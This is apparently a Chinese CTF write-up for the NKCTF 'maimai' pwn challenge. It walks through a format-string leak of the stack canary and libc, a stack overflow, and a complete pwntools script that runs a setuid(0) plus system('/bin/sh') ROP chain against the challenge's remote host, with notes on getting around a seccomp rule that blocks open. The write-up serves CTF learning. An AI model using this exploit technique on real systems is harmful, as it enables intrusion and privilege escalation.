格式化字符串+栈溢出+沙箱
保护全开
$checksec pwn
[*] '/home/starrysky/game_2024/nkctf/maimai/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
沙箱禁用了open
$seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
要通过功能1
,得到一个大于0x2da2
的值,功能1
中50
次输入一个浮点数和一个字符串,每个字符串对应一个整数,最终的值是每个浮点数和字符串对应的数值的乘积的和,这个随便试试差不多就出来了
unsigned __int64 sub_188C()
{
int v0; // eax
double v1; // xmm0_8
int v3; // [rsp+8h] [rbp-28h]
int i; // [rsp+Ch] [rbp-24h]
double v5; // [rsp+10h] [rbp-20h] BYREF
double v6; // [rsp+18h] [rbp-18h]
char v7[5]; // [rsp+23h] [rbp-Dh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
v6 = 0.0;
puts("Input chart level and rank.");
for ( i = 0; i <= 49; ++i )
{
__isoc99_scanf("%lf %s", &v5, v7);
if ( v5 == 15.0 )
{
v0 = v3++;
if ( v0 == 2 )
{
puts("Invalid.");
return v8 - __readfsqword(0x28u);
}
}
v1 = sub_1633(v7);
v6 = v1 * v5 + v6;
}
dword_504C = (int)v6;
puts("Calculation Done.");
return v8 - __readfsqword(0x28u);
}
功能2
存在格式化字符串漏洞,由于main
函数里是while
循环,所以这个格式化字符串漏洞是可以多次被使用的,这个函数里调用了一个存在栈溢出漏洞的函数
unsigned __int64 sub_19EA()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Input your nickname.");
read(0, buf, 8uLL);
printf(buf);
printf(", your rating is: %d\n", (unsigned int)dword_504C);
if ( dword_504C < dword_5010 )
{
puts("I think you should play more maimai.");
exit(0);
}
sub_1984();
return v2 - __readfsqword(0x28u);
}
unsigned __int64 sub_1984()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Big God Coming!");
puts("Can you teach me how to play maimai?");
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}
由于保护全开,所以要泄露canary
和libc
,直接getshell
打远程会发现没有读flag
的权限,这里有两种思路:
openat
代替open
读flag
setuid(0)
提权
我复现的时候用的第二种,第一种比较麻烦,需要再泄露栈地址并且在栈上构造orw
,还存在读长度不够的问题,需要再调用一次read
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node.nkctf.yuzhian.com.cn', 38179)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter(b'Select a option', b'1')
r.sendlineafter(b'Input chart level and rank', b'1 S ' * 49 + b'10000 S')
r.sendlineafter(b'Select a option', b'2')
r.sendafter(b'nickname.', b'%7$p%3$p')
libc = ELF('./libc6_2.35-0ubuntu3.6_amd64/lib/x86_64-linux-gnu/libc.so.6')
r.recvuntil('0x')
canary = int(r.recv(16), 16)
r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) - 0x1147e2
rdi = 0x000000000002a3e5 + libc_base
ret = 0x0000000000029139 + libc_base
system = libc.sym['system'] + libc_base
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
setuid = libc_base + libc.sym['setuid']
p = b'a' * 0x28 + p64(canary) + p64(ret) + p64(rdi) + p64(0) + p64(setuid) + p64(rdi) + p64(bin_sh) + p64(system)
r.sendafter(b'Can you teach me how to play maimai?', p)
r.interactive()